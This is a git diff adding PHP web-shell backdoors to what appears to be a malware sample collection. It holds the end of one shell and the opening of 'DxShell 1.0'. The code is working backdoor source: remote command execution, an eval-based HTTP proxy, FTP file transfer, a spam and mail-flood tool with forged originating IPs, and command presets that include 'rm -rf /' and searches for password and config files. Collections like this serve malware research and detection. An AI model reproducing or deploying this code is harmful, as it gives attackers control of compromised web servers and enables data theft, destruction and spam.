type=text name="DxFTP_PASS" value="" style="width:40%;"></b></nobr>'; + print "\n\t".'<input type=text name="DxFTP_FileOF" value="get.txt" style="width:100%;">'; + print "\n\t".'<input type=text name="DxFTP_FileTO" value="'.((isset($_GET['dxdir'])?$_GET['dxdir']:DxFileOkaySlashes(realpath($GLOB['FILES']['CurDIR'])))).'/" style="width:100%;">'; + print "\n\t".'<br><nobr><input type=checkbox name="DxFTP_File_BINARY" value="YES">Enable binary mode</nobr>'; + print "\n\t".'<input type=submit name="DxFTP_DWN" value="Download!" style="width:150pt;" class=submit></form>'; + print "\n".'</td><td>'; /* FTP UPL */ + print "\n\t".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n\t".'<input type=text name="DxFTP_FTP" value="ftp.host.com[:21]" style="width:100%;">'; + print "\n\t".'<nobr><b>Login:<input type=text name="DxFTP_USER" value="Anonymous" style="width:40%;"> / <input type=text name="DxFTP_PASS" value="" style="width:40%;"></b></nobr>'; + print "\n\t".'<input type=text name="DxFTP_FileOF" value="'.((isset($_GET['dxdir'])?$_GET['dxdir']:DxFileOkaySlashes(realpath($GLOB['FILES']['CurDIR'])))).'/file.txt'.'" style="width:100%;">'; + print "\n\t".'<input type=text name="DxFTP_FileTO" value="put.txt" style="width:100%;">'; + print "\n\t".'<br><nobr><input type=checkbox name="DxFTP_File_BINARY" value="YES">Enable binary mode</nobr>'; + print "\n\t".'<input type=submit name="DxFTP_UPL" value="Upload!" style="width:150pt;" class=submit></form>'; + print "\n".'</td></tr></table>'; + + if (isset($_POST['DxFTP_HTTP'])) { $URLPARSED=parse_url($_POST['DxFTP_HTTP']); $request=DxHTTPMakeHeaders('GET', $URLPARSED['path'].'?'.$URLPARSED['query'], $URLPARSED['host']); + if (!($f=@fsockopen($URLPARSED['host'], (empty($URLPARSED['port']))?80:$URLPARSED['port'], $errno, $errstr, 10))) die(DxError('Sock #'.$errno.' : '.$errstr)); + fputs($f, $request); + + $GETFILE=''; + while (!feof($f)) $GETFILE.=fgets($f, 4096 ); + fclose( $f ); + + DxFiles_UploadHere($_POST['DxFTP_FileTO'], '', $GETFILE); + } + + if (isset($_POST['DxFTP_DWN']) OR isset($_POST['DxFTP_UPL'])) + { $DxFTP_SERV=explode(':',$_POST['DxFTP_FTP']); + if(empty($DxFTP_SERV[1])) {$DxFTP_SERV=$DxFTP_SERV[0]; $DxFTP_PORT = 21;} else {$DxFTP_SERV=$DxFTP_SERV[0]; $DxFTP_PORT = (int)$DxFTP_SERV[1];} + if (!($FTP=ftp_connect($DxFTP_SERV,$DxFTP_PORT,10))) die(DxError('No connection')); + if (!ftp_login($FTP, $_POST['DxFTP_USER'], $_POST['DxFTP_PASS'])) die(DxError('Login failed')); + if (isset($_POST['DxFTP_UPL'])) + if (!ftp_put($FTP, $_POST['DxFTP_FileTO'],$_POST['DxFTP_FileOF'], (isset($_POST['DxFTP_File_BINARY']))?FTP_BINARY:FTP_ASCII)) + die(DxError('Failed to upload')); else print 'Upload OK'; + if (isset($_POST['DxFTP_DWN'])) + if (!ftp_get($FTP, $_POST['DxFTP_FileTO'],$_POST['DxFTP_FileOF'], (isset($_POST['DxFTP_File_BINARY']))?FTP_BINARY:FTP_ASCII)) + die(DxError('Failed to download')); else print 'Download OK'; + ftp_close($FTP); + } + } + +######## +######## HTTP Proxy +######## +if ($_GET['dxmode']=='PROX') + { + print "\n\t".'<form action="'.DxURL('leave', '').'" method=POST>'; print "\n".'<table width=100% cellspacing=0>'; + print "\n".'<tr><td width=100pt class=linelisting>URL</td><td><input type=text name="DxProx_Url" value="'.(isset($_POST['DxProx_Url'])?$_POST['DxProx_Url']:'http://www.microsoft.com:80/index.php?get=q&get2=d').'" style="width:100%;"></td></tr>'; + print "\n".'<tr><td width=100pt colspan=2 class=linelisting><nobr>Browser <input type=text name="DxProx_Brw" value="'.(isset($_POST['DxProx_Brw'])?$_POST['DxProx_Brw']:'DxS Browser').'" style="width:40%;">' + .' Referer <input type=text name="DxProx_Ref" value="'.(isset($_POST['DxProx_Ref'])?$_POST['DxProx_Ref']:'http://www.ref.ru/').'" style="width:40%;"></td></tr>'; + print "\n".'<tr><td width=100pt class=linelisting><nobr>POST (php eval)</td><td><input type=text name="DxProx_PST" value="'.(isset($_POST['DxProx_PST'])?$_POST['DxProx_PST']:'array(\'post_val\' => \'Yeap\')').'" style="width:100%;"></td></tr>'; + print "\n".'<tr><td width=100pt class=linelisting><nobr>COOKIES (php eval)</td><td><input type=text name="DxProx_CKI" value="'.(isset($_POST['DxProx_CKI'])?$_POST['DxProx_CKI']:'array(\'cookiename\' => \'val\')').'" style="width:100%;"></td></tr>'; + print "\n".'<tr><td colspan=2><input type=submit value="Go" class=submit style="width:100%;">'; + print "\n".'</td></tr></table></form>'; + + if (!isset($_POST['DxProx_Url'])) die(); + + print str_repeat("\n", 10).'<!-- DxS Proxy Browser -->'."\n\n"; + + if (empty($_POST['DxProx_PST'])) $_POST['DxProx_PST']=array(); + else {if (eval('$_POST[\'DxProx_PST\']='.$_POST['DxProx_PST'].';')===FALSE) $_POST['DxProx_PST']=array();} + if (empty($_POST['DxProx_CKI'])) $_POST['DxProx_CKI']=array(); + else {if (eval('$_POST[\'DxProx_CKI\']='.$_POST['DxProx_CKI'].';')===FALSE) $_POST['DxProx_CKI']=array();} + + $URLPARSED=parse_url($_POST['DxProx_Url']); + $request=DxHTTPMakeHeaders('GET', (empty($URLPARSED['path'])?'/':$URLPARSED['path']).(!empty($URLPARSED['query'])?'?'.$URLPARSED['query']:''), $URLPARSED['host'], $_POST['DxProx_Brw'], $_POST['DxProx_Ref'], $_POST['DxProx_PST'], $_POST['DxProx_CKI']); + if (!($f=@fsockopen($URLPARSED['host'], (empty($URLPARSED['port']))?80:$URLPARSED['port'], $errno, $errstr, 10))) + die(DxError('Sock #'.$errno.' : '.$errstr)); + fputs($f, $request); + + $RET=''; + while (!feof($f)) $RET.=fgets($f, 4096 ); + fclose( $f ); + + print "\n".'<table width=100% border=0><tr><td>'; + $headers_over_place=strpos($RET,"\r\n\r\n"); + if ($headers_over_place===FALSE) print $RET; + else + print '<pre><font class=highlight_txt>'.substr($RET, 0, $headers_over_place).'</font></pre><br><hr><br>'.substr($RET, $headers_over_place); + print str_repeat("\n", 10).'</td></tr></table>'; + } + +######## +######## MAIL +######## +if ($_GET['dxmode']=='MAIL') + { if (!isset($_GET['dxparam'])) + { + print ''; print "\n".'<form action="'.DxURL('kill', '').'" method=GET style="display:inline;">'; + DxGETinForm('leave', ''); + print "\n".'<input type=submit name="dxparam" value="SPAM" style="position: absolute; width: 30%; left: 10%;">' + .'<font class=highlight_txt style="position:absolute;left:46.5%;">: MAIL mode :</font>' + .'<input type=submit name="dxparam" value="FLOOD" style="position: absolute; width: 30%; right: 10%;">'; + print "\n".'</form>'; + die();} + + if (ini_get('sendmail_path')=='') DxWarning('php.ini "sendmail_path" is empty! ('.var_export(ini_get('sendmail_path'), true).')'); + print "\n\t".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<table width=100% cellspacing=0 width=90% align=center><col width=100pt>'; + if ($_GET['dxparam']=='FLOOD') + { print "\n".'<tr><td class=linelisting><b>TO: </td><td><input type=text name="DxMailer_TO" style="width:100%;" value="'.( (empty($_POST['DxMailer_TO']))?'tristam@mail.ru':$_POST['DxMailer_TO'] ).'"></td></tr>'; + print "\n".'<tr><td class=linelisting><b>NUM FLOOD: </td><td><input type=text name="DxMailer_NUM" value="'.( (empty($_POST['DxMailer_NUM']))?'1000':$_POST['DxMailer_NUM'] ).'" SIZE=10></td></tr>'; + } + else print "\n".'<tr><td class=linelisting><b>TO: </td><td><textarea name="DxMailer_TO" rows=10 style="width:100%;">'.( (empty($_POST['DxMailer_TO']))?'tristam@mail.ru'."\n".'billy@microsoft.com':$_POST['DxMailer_TO'] ).'</textarea></td></tr>'; + print "\n".'<tr><td class=linelisting><b>FROM: </td><td><input type=text name="DxMailer_FROM" value="'.( (empty($_POST['DxMailer_FROM']))?'DxS <admin@'.$_SERVER['HTTP_HOST']:$_POST['DxMailer_FROM'] ).'>" style="width:100%;"></td></tr>'; + print "\n".'<tr><td class=linelisting><b>SUBJ: </td><td><input type=text name="DxMailer_SUBJ" style="width:100%;" value="'.( (empty($_POST['DxMailer_SUBJ']))?'Look here, man...':$_POST['DxMailer_SUBJ'] ).'"></td></tr>'; + print "\n".'<tr><td class=linelisting><b>MSG: </td><td><textarea name="DxMailer_MSG" rows=5 style="width:100%;">'.( (empty($_POST['DxMailer_MSG']))?'<html><body><b>Wanna be butchered?':$_POST['DxMailer_MSG'] ).'</textarea></td></tr>'; + print "\n".'<tr><td class=linelisting colspan=2><div align=center><input type=submit Value="'.$_GET['dxparam'].'" class=submit style="width:70%;"></tr>'; + print "\n".'</td></table></form>'; + + if (!isset($_POST['DxMailer_TO'])) die(); + + $HEADERS=''; + $HEADERS.= 'MIME-Version: 1.0'."\r\n"; + $HEADERS.= 'Content-type: text/html;'."\r\n"; + $HEADERS.='To: %%TO%%'."\r\n"; + $HEADERS.='From: '.$_POST['DxMailer_FROM']."\r\n"; + $HEADERS.='X-Originating-IP: [%%IP%%]'."\r\n"; + $HEADERS.='X-Mailer: DxS v'.$GLOB['SHELL']['Ver'].' Mailer'."\r\n"; + $HEADERS.='Message-Id: <%%ID%%>'; + + if ($_GET['dxparam']=='FLOOD') + { $NUM=$_POST['DxMailer_NUM']; + $MAILS=array($_POST['DxMailer_TO']); + } + else + { $MAILS=explode("\n",str_replace("\r", '', $_POST['DxMailer_TO'])); + $NUM=1; + } + + function DxMail($t, $s, $m, $h) /* debugger */ + {print "\n\n\n<br><br><br>".$t."\n<br>".$s."\n<br>".$m."\n<br>".$h;} + + $RESULTS[]=array(); + + for ($n=0;$n<$NUM;$n++) + for ($m=0;$m<count($MAILS);$m++) $RESULTS[]=(int) + mail($MAILS[$m], $_POST['DxMailer_SUBJ'], $_POST['DxMailer_MSG'], + str_replace(array('%%TO%%','%%IP%%', '%%ID%%'), + array('<'.$MAILS[$m].'>' , long2ip(mt_rand(0,pow(2,31))) , md5($n.$m.DxRandomChars(3).time())), + $HEADERS) + ); + + print "\n\n".'<br><br>'.array_sum($RESULTS).' mails sent ('.( (100*array_sum($RESULTS))/($NUM*(count($MAILS))) ).'% okay)'; + + } + +if ($DXGLOBALSHIT) print "\n\n\n".'<!--/SHIT KILLER--></TD></TR></TABLE>'; +die(); +?> + diff --git a/web-malware-collection-master/Backdoors/PHP/DxShell.1.0.txt b/web-malware-collection-master/Backdoors/PHP/DxShell.1.0.txt new file mode 100755 index 0000000..18abb6b --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/DxShell.1.0.txt @@ -0,0 +1,2111 @@ +<?php +$GLOB['SHELL']['USER']['Login']=''; +$GLOB['SHELL']['USER']['Passw']=''; /* pwd. "as is", or md5() possible */ + +/* + DDDDD SSSSS DxShell by �_� Tync + D D X X S + D D X SSSSS http://hellknights.void.ru/ + D D X X S ICQ# 1227-700 + DDDDD SSSSS +*/ + +$GLOB['SHELL']['Ver']='1.0'; /* ver of the shell */ +$GLOB['SHELL']['Date']='26.04.2006'; + +if (headers_sent()) $DXGLOBALSHIT=true; else $DXGLOBALSHIT=FALSE; /* This means if bug.php has fucked up the output and headers are already sent =(( lot's of things become HARDER */ +@ob_clean(); +$DX_Header_drawn=false; + +################################################################################### +####################++++++++++++# C O M M O N #++++++++++++++++#################### +################################################################################### +@set_magic_quotes_runtime(0); +@ini_set('max_execution_time',0); +@set_time_limit(0); +@ini_set('output_buffering',0); +@error_reporting(E_ALL); + +$GLOB['URL']['+Get']=$_SERVER['PHP_SELF'].'?'; /* this filename + $_GET string */ + if (!empty($_GET)) + for ($i=0, $INDEXES=array_keys($_GET), $COUNT=count($INDEXES); $i<$COUNT; $i++) + $GLOB['URL']['+Get'].=$INDEXES[$i].='='.$_GET[ $INDEXES[$i] ].( ($i==($COUNT-1))?'':'&' ); +$GLOB['PHP']['SafeMode']=(bool)ini_get('safe_mode'); +$GLOB['PHP']['upload_max_filesize']=((integer)str_replace(array('K', 'M'), array('000', '000000'), ini_get('upload_max_filesize'))); + +if (get_magic_quotes_gpc()==1) + { /* slashes killah */ + for ($i=0, $INDEXES=array_keys($_GET), $COUNT=count($INDEXES); $i<$COUNT; $i++) + {$_GET[ $INDEXES[$i] ] = stripslashes($_GET[ $INDEXES[$i] ]); } + for ($i=0, $INDEXES=array_keys($_POST), $COUNT=count($INDEXES); $i<$COUNT; $i++) + {if (is_array($_POST[ $INDEXES[$i] ])) continue; $_POST[ $INDEXES[$i] ] = stripslashes($_POST[ $INDEXES[$i] ]); } + /*for ($i=0, $INDEXES=array_keys($_SERVER), $COUNT=count($INDEXES); $i<$COUNT; $i++) {$_SERVER[ $INDEXES[$i] ]= stripslashes($_SERVER[ $INDEXES[$i] ]); }*/ + for ($i=0, $INDEXES=array_keys($_COOKIE), $COUNT=count($INDEXES); $i<$COUNT; $i++) + {$_COOKIE[ $INDEXES[$i] ]= stripslashes($_COOKIE[ $INDEXES[$i] ]); } + } + +$GLOB['FILES']['CurDIR']=getcwd(); + +$GLOB['SYS']['GZIP']['CanUse']=$GLOB['SYS']['GZIP']['CanOutput']=false; +if (isset($_GET['dx_gzip']) OR isset($_POST['dx_gzip'])) + { + $GLOB['SYS']['GZIP']['CanUse']=extension_loaded("zlib"); + if (extension_loaded("zlib")) + if (!(strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')===FALSE)) + $GLOB['SYS']['GZIP']['CanOutput']=TRUE; + }; +$GLOB['SYS']['GZIP']['IMG']=extension_loaded("zlib"); + +$GLOB['SYS']['OS']['id']=($GLOB['FILES']['CurDIR'][1]==':')?'Win':'Nix'; +$GLOB['SYS']['OS']['Full']=getenv('OS'); +if (empty($GLOB['SYS']['OS']['Full'])) + { + $GLOB['SYS']['OS']['id'] = getenv('OS'); + if(empty($GLOB['SYS']['OS']['id'])){ $GLOB['SYS']['OS']['id'] = php_uname(); } + if(empty($GLOB['SYS']['OS']['id'])){ $GLOB['SYS']['OS']['id'] ='???';} + else {if(@eregi("^win",$GLOB['SYS']['OS']['id'])) $GLOB['SYS']['OS']['id']='Win'; else $GLOB['SYS']['OS']['id']='Nix';} + } + + +$GLOB['DxMODES']=array( + 'WTF' => 'AboutBox', + + 'DIR' => 'Dir browse', + 'UPL' => 'Upload file', + 'FTP' => 'FTP Actions', + + 'F_CHM' => 'File CHMOD', + 'F_VIEW' => 'File viewer', + 'F_ED' => 'File Edit', + 'F_DEL' => 'File Delete', + 'F_REN' => 'File Rename', + 'F_COP' => 'File Copy', + 'F_MOV' => 'File Move', + 'F_DWN' => 'File Download', + + 'SQL' => 'SQL Maintenance', + 'SQLS' => 'SQL Search', + 'SQLD' => 'SQL Dump', + 'PHP' => 'PHP C0nsole', + 'COOK' => 'Cookies Maintenance', + 'CMD' => 'C0mmand line', + + 'MAIL' => 'Mail functions', + 'STR' => 'String functions', + 'PRT' => 'Port scaner', + 'SOCK' => 'Raw s0cket', + 'PROX' => 'HTTP PROXY', + 'XPL' => 'Expl0its', + 'XSS' => 'XSS Server', + ); +$GLOB['DxGET_Vars']=array(/* GET variables used by shell */ +'dxinstant', 'dxmode', 'dximg', 'dxparam', 'dxval', 'dx_ok', 'dx_gzip', +'dxdir', 'dxdirsimple', 'dxfile', +'dxsql_s', 'dxsql_l', 'dxsql_p', 'dxsql_d','dxsql_q', +); + +$GLOB['VAR']['PHP']['Presets']=array( + /* Note, that no comments are allowed in the code */ + 'phpinfo' => 'phpinfo();', + 'GLOBALS' => 'print \'<plaintext>\'; print_r($GLOBALS);', + 'php_ini' => '$INI=ini_get_all(); ' + ."\n".'print \'<table border=0><tr>\'' + ."\n\t".'.\'<td class="listing"><font class="highlight_txt">Param</td>\'' + ."\n\t".'.\'<td class="listing"><font class="highlight_txt">Global value</td>\'' + ."\n\t".'.\'<td class="listing"><font class="highlight_txt">Local Value</td>\'' + ."\n\t".'.\'<td class="listing"><font class="highlight_txt">Access</td></tr>\';' + ."\n".'foreach ($INI as $param => $values) ' + ."\n\t".'print "\n".\'<tr>\'' + ."\n\t\t".'.\'<td class="listing"><b>\'.$param.\'</td>\'' + ."\n\t\t".'.\'<td class="listing">\'.$values[\'global_value\'].\' </td>\'' + ."\n\t\t".'.\'<td class="listing">\'.$values[\'local_value\'].\' </td>\'' + ."\n\t\t".'.\'<td class="listing">\'.$values[\'access\'].\' </td></tr>\';', + 'extensions' => '$EXT=get_loaded_extensions ();' + ."\n".'print \'<table border=0><tr><td class="listing">\'' + ."\n\t".'.implode(\'</td></tr>\'."\n".\'<tr><td class="listing">\', $EXT)' + ."\n\t".'.\'</td></tr></table>\'' + ."\n\t".'.count($EXT).\' extensions loaded\';', + ); +$GLOB['VAR']['CMD']['Presets']=array( + 'Call Nik8 with an axe'=>'[w0rning] rm -rf /', + 'show opened ports'=>'netstat -an | grep -i listen', + 'find config* files'=>'find / -type f -name "config*"', + 'find all *.php files with word "password"'=>'find / -name *.php | xargs grep -li password', + 'find all writable directories and files'=>'find / -perm -2 -ls', + 'list file attribs on a second extended FS'=>'lsattr -va', + 'View syslog.conf'=>'cat /etc/syslog.conf', + 'View Message of the day'=>'cat /etc/motd', + 'View hosts'=>'cat /etc/hosts', + 'List processes'=>'ps auxw', + 'List user processes'=>'ps ux', + 'Locate httpd.conf'=>'locate httpd.conf', + 'Interfaces'=>'ifconfig', + 'CPU'=>'/proc/cpuinfo', + 'RAM'=>'free -m', + 'HDD'=>'df -h', + 'OS Ver'=>'sysctl -a | grep version', + 'Kernel ver' =>'cat /proc/version', + 'Is cURL installed? ' => 'which curl', + 'Is wGET installed? ' => 'which wget', + 'Is lynx installed? ' => 'which lynx', + 'Is links installed? ' => 'which links', + 'Is fetch installed? ' => 'which fetch', + 'Is GET installed? ' => 'which GET', + 'Is perl installed? ' => 'which perl', + 'Where is apache ' => 'whereis apache', + 'Where is perl ' => 'whereis perl', + 'Pack directory' =>'"tar -zc /path/ -f name.tar.gz"', + ); + + +################################################################################### +####################+++++++++# F U N C T I O N S #+++++++++++++#################### +################################################################################### +function DxError($errstr) +{global $DX_Header_drawn; +print "\n\n".'<table border=0 cellspacing=0 cellpadding=2><tr>' + .'<td class=error '.((!$DX_Header_drawn)?'style="color:#000000; background-color: #FF0000; font-weight: bold; font-size: 11pt;position:absolute;top=0;left=0;"':'').'>' + .'Err: '.$errstr.'</td></tr></table>'."\n\n"; return '';} + +function DxWarning($warn) +{print "\n\n".'<table border=0 cellspacing=0 cellpadding=2><tr><td class=warning><b>W0rning:</b> '.$warn.'</td></tr></table>'."\n\n"; return '';} + +function DxImg($imgname) +{ +global $DXGLOBALSHIT; +if ($DXGLOBALSHIT) return '<font class="img_replacer">'.$imgname.'</font>'; /* globalshit doesn't give a chance for our images to survive */ +return '<img src="'.DxURL('kill', '').'&dxmode=IMG&dximg='.$imgname.'" title="'.$imgname.'" alt"'.$imgname.'">'; +} + +function DxSetCookie($name, $val, $exp) +{ +if (!headers_sent()) return setcookie($name, $val, $exp, '/'); +?> +<script> +var curCookie = "<?=$name;?>=" + escape("<?=$val;?>") +"; expires=<?=date('l, d-M-y H:i:s', $exp);?> GMT; path=/;"; +document.cookie = curCookie; +</script> +<? +} + +function DxRandom($range='48-57,65-90,97-122') +{ +$range=explode(',',$range); +$range=explode('-', $range[ rand(0,count($range)-1) ] ); +return rand($range[0],$range[1]); +} + +function DxRandomChars($num) +{ +$ret=''; +for ($i=0;$i<$num;$i++) $ret.=chr(DxRandom('48-57,65-90,97-122')); +return $ret; +} + +function DxZeroedNumber($int, $totaldigits) +{ +$str=(string)$int; +while (strlen($str)<$totaldigits) $str='0'.$str; +return $str; +} + +function DxPrint_ParamState($name, $state, $invert=false) +{ +print $name.' : '; $invert=(bool)$invert; +if (is_bool($state)) + print ($state)?'<font color=#'.(($invert)?'FF0000':'00FF00').'><b>ON</b></font>':'<font color=#'.(($invert)?'00FF00':'FF0000').'><b>OFF</b></font>'; + else print '<b>'.$state.'</b>'; +} + +function DxStr_FmtFileSize($size) +{ + if($size>= 1073741824) {$size = round($size / 1073741824 * 100) / 100 . " GB"; } +elseif($size>= 1048576) {$size = round($size / 1048576 * 100) / 100 . " MB"; } +elseif($size>= 1024) {$size = round($size / 1024 * 100) / 100 . " KB"; } + else {$size = $size . " B";} +return $size; +} + +function DxDate($UNIX) {return date('d.M\'Y H:i:s', $UNIX); } + +function DxDesign_DrawBubbleBox($header, $body, $width) +{ +$header=str_replace(array('"',"'","`"), array('&#x02DD;','&#x0027;',''), $header); +$body=str_replace(array('"',"'","`"), array('&#x02DD;','&#x0027;',''), $body); +return ' onmouseover=\'showwin("'.$header.'","'.$body.'",'.$width.',1)\' onmouseout=\'showwin("","",0,0)\' onmousemove=\'movewin()\' '; +} + +function DxChmod_Str2Oct($str) /* rwxrwxrwx => 0777 */ +{ +$str = str_pad($str,9,'-'); +$str=strtr($str, array('-'=>'0','r'=>'4','w'=>'2','x'=>'1') ); +$newmode=''; +for ($i=0; $i<3; $i++) $newmode .= $str[$i*3]+$str[$i*3+1]+$str[$i*3+2]; + +return $newmode; +} + +function DxChmod_Oct2Str($perms) /* 777 => rwxrwxrwx. USE ONLY STRING REPRESENTATION OF $oct !!!! */ +{ +$info=''; +if (($perms & 0xC000) == 0xC000) $info = 'S'; /* Socket */ + elseif (($perms & 0xA000) == 0xA000) $info = 'L'; /* Symbolic Link */ +elseif (($perms & 0x8000) == 0x8000) $info = '&nbsp;'; /* '-'*//* Regular */ +elseif (($perms & 0x6000) == 0x6000) $info = 'B'; /* Block special */ +elseif (($perms & 0x4000) == 0x4000) $info = 'D'; /* Directory*/ +elseif (($perms & 0x2000) == 0x2000) $info = 'C'; /* Character special*/ +elseif (($perms & 0x1000) == 0x1000) $info = 'P'; /* FIFO pipe*/ +else $info = '?'; /* Unknown */ +if (!empty($info)) $info='<font class=rwx_sticky_bit>'.$info.'</font>'; +/* Owner */ +$info .= (($perms & 0x0100) ? 'r' : '-'); +$info .= (($perms & 0x0080) ? 'w' : '-'); +$info .= (($perms & 0x0040) ? + (($perms & 0x0800) ? 's' : 'x' ) : + (($perms & 0x0800) ? 'S' : '-')); +$info .= '/'; +/* Group */ +$info .= (($perms & 0x0020) ? 'r' : '-'); +$info .= (($perms & 0x0010) ? 'w' : '-'); +$info .= (($perms & 0x0008) ? + (($perms & 0x0400) ? 's' : 'x' ) : + (($perms & 0x0400) ? 'S' : '-')); +$info .= '/'; +/* World */ +$info .= (($perms & 0x0004) ? 'r' : '-'); +$info .= (($perms & 0x0002) ? 'w' : '-'); +$info .= (($perms & 0x0001) ? + (($perms & 0x0200) ? 't' : 'x' ) : + (($perms & 0x0200) ? 'T' : '-')); + + return $info; +} + +function DxFileToUrl($filename) +{/* kills & and = to be okay in URL */ +return str_replace(array('&','=','\\'), array('%26', '%3D','/'), $filename); +} + +function DxFileOkaySlashes($filename) +{return str_replace('\\', '/', $filename);} + +function DxURL($do='kill', $these='') /* kill: '' - kill all ours, 'a,b,c' - kill $a,$b,$c ; leave: '' - as is, leave 'a,b,c' - leave only $a,$b,$c */ +{ +global $GLOB; +if ($these=='') $these=$GLOB['DxGET_Vars']; else $these=explode(',', $these); + +$ret=$_SERVER['PHP_SELF'].'?'; +if (!empty($_GET)) + for ($i=0, $INDEXES=array_keys($_GET), $COUNT=count($INDEXES); $i<$COUNT; $i++) + if ( !in_array($INDEXES[$i], $GLOB['DxGET_Vars']) OR ( /* if not ours - add */ + ($do=='kill' AND !in_array($INDEXES[$i], $these)) + OR + ($do=='leave' AND in_array($INDEXES[$i], $these)) + )) + $ret.=$INDEXES[$i].='='.$_GET[ $INDEXES[$i] ].( ($i==($COUNT-1))?'':'&' ); +if (substr($ret, -1,1)=='&') $ret=substr($ret, 0, strlen($ret)-1); +return $ret; +} + +function DxGETinForm($do='kill', $these='') /* Equal to DxURL(), but prints out $_GET as form <input type=hidden> params */ +{ +$link=substr(strchr(DxURL($do, $these), '?'), 1); +$link=explode('&', $link); +print "\n".'<!--$_GET;-->'; +for ($i=0, $COUNT=count($link); $i<$COUNT; $i++) + { + $cur=explode('=', $link[$i]); + print '<input type=hidden name="'.str_replace('"', '&quot;', $cur[0]).'" value="'.str_replace('"', '&quot;', $cur[1]).'">'; + } +} + +function DxGotoURL($URL, $noheaders=false) +{ +if ($noheaders or headers_sent()) + { + print "\n".'<div align=center>Redirecting...<br><a href="'.$URL.'">Press here in shit happens</a>'; + print '<script>location="'.$URL.'";</script>'; + /* print $str.='<META HTTP-EQUIV="Refresh" Content="1, URL='.$URL.'">'; */ + } + else + header('Location: '.$URL); +return 1; +} + +if (!function_exists('mime_content_type')) + { + if ($GLOB['SYS']['OS']['id']!='Win') + { function mime_content_type($f) + { + $f = @escapeshellarg($f); + return @trim(`file -bi `.$f); + } + } + else + { + function mime_content_type($f) {return 'Content-type: text/plain';} /* Nothing alike under win =( if u have some thoughts - touch me */ + } + } + + +function DxMySQL_FetchResult($MySQL_res, &$MySQL_Return_Array, $idmode=false) /* Fetches mysql return array (associative) */ +{ +$MySQL_Return_Array=array(); + +if ($MySQL_res===false) return 0; +if ($MySQL_res===true) return 0; + +$ret=mysql_num_rows($MySQL_res); if ($ret<=0) return 0; + +if ($idmode) while (!(($MySQL_Return_Array[]=mysql_fetch_array($MySQL_res, MYSQL_NUM))===FALSE)) {} + else while (!(($MySQL_Return_Array[]=mysql_fetch_array($MySQL_res, MYSQL_ASSOC))===FALSE)) {} +array_pop($MySQL_Return_Array); + +for ($i=0; $i<count($MySQL_Return_Array); $i++) /* Kill the fucking slashes */ + { + if ($i==0) + { + $INDEXES=array_keys($MySQL_Return_Array[$i]); + $count=count($INDEXES); + } + for ($j=0; $j<$count; $j++) + { + $key=&$INDEXES[$j]; + $val=&$MySQL_Return_Array[$i][$key]; + if (is_string($val)) $val=stripcslashes($val); + } + } +return $ret; +} + +function DxMySQLQ($query, $die_on_err) +{ +$q=mysql_query($query); +if (mysql_errno()!=0) + { + DxError('" '.$query.' "'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error()); + if ($die_on_err) die(); + } +return $q; +} + +function DxDecorVar(&$var, $htmlstr) +{ +if (is_null($var)) return 'NULL'; +if (!isset($var)) return '[!isset]'; + +if (is_bool($var)) return ($var)?'true':'false'; +if (is_int($var)) return (int)$var; +if (is_float($var)) return number_format($var, 4, '.', ''); +if (is_string($var)) + { + if (empty($var)) return '&nbsp;'; + if (!$htmlstr) return ''.($var).''; + else return ''.str_replace("\n", "<br>", str_replace("\r","", htmlspecialchars($var))).''; + } +if (is_array($var)) return '(ARR)'.var_export($var, true).'(/ARR)'; +if (is_object($var)) return '(OBJ)'.var_export($var, true).'(/OBJ)'; +if (is_resource($var)) return '(RES:'.get_resource_type($var).')'.var_export($var, true).'(/RES)'; +return '(???)'.var_export($var, true).'(/???)'; +} + +function DxHTTPMakeHeaders($method='', $URL='', $host='', $user_agent='', $referer='', $posts=array(), $cookie=array()) +{ +if (!empty($posts)) + { + $postValues=''; + foreach( $posts AS $name => $value ) {$postValues .= urlencode( $name ) . "=" . urlencode( $value ) . '&';} + $postValues = substr( $postValues, 0, -1 ); + $method = 'POST'; + } else $postValues = ''; + + if (!empty($cookie)) + { + $cookieValues=''; + foreach( $cookie AS $name => $value ) {$cookieValues .= urlencode( $name ) . "=" . urlencode( $value ) . ';';} + $cookieValues = substr( $cookieValues, 0, -1 ); + } else $cookieValues = ''; + +$request = $method.' '.$URL.' HTTP/1.1'."\r\n"; +if (!empty($host)) $request .= 'Host: '.$host."\r\n"; +if (!empty($cookieValues)) $request .='Cookie: '.$cookieValues."\r\n"; +if (!empty($user_agent)) $request .= 'User-Agent: '.$user_agent.' '."\r\n"; +$request .= 'Connection: Close'."\r\n"; /* Or connection will be endless */ +if (!empty($referer)) $request .= 'Referer: '.$referer."\r\n"; +if ( $method == 'POST' ) + { + $lenght = strlen( $postValues ); + $request .= 'Content-Type: application/x-www-form-urlencoded'."\r\n"; + $request .= 'Content-Length: '.$lenght."\r\n"; + $request .= "\r\n"; + $request .= $postValues; + } +$request.="\r\n\r\n"; +return $request; +} + +function DxFiles_UploadHere($path, $filename, &$contents) +{ +if (empty($contents)) die(DxError('Received empty')); +$filename='__DxS__UPLOAD__'.DxRandomChars(3).'__'.$filename; +if (!($f=fopen($path.$filename, 'w'))) + { + $path='/tmp/'; + if (!($f=fopen($path.$filename, 'w'))) + die(DxError('Writing denied. Save to "'.$path.$filename.'" also failed! =(')); + else + DxWarning('Writing failed, but saved to "'.$path.$filename.'"! =)'); + } +fputs($f, $contents); +fclose($f); +print "\n".'Saved file to "'.$path.$filename.'" - OK'; +print "\n".'<br><a href="'.DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($path)).'">[Go DIR]</a>';; +} + +function DxExecNahuj($cmd, &$OUT, &$RET) /* returns the name of function that exists, or FALSE */ +{ +$OUT=array(); $RET=''; +if (function_exists('exec')) + { + if (!empty($cmd)) exec($cmd, $OUT, $RET); /* full array output */ + return array(true,true,'exec', ''); + } + elseif (function_exists('shell_exec')) + { + if (!empty($cmd)) $OUT[0]=shell_exec($cmd); /* full string output, no RETURN */ + return array(true,false,'shell_exec', '<s>exec</s> shell_exec'); + } + elseif (function_exists('system')) + { + if (!empty($cmd)) $OUT[0]=system($cmd, $RET); /* last line of output */ + return array(true,false,'system', '<s>exec</s> <s>shell_exec</s> system<br>Only last line of output is available, sorry =('); + } + else return array(FALSE, FALSE, '&lt;noone&gt;', '<s>exec</s> <s>shell_exec</s> <s>system</s> Bitchy admin has disabled command line!! =(');; +} + +################################################################################### +#####################++++++++++++# L O G I N 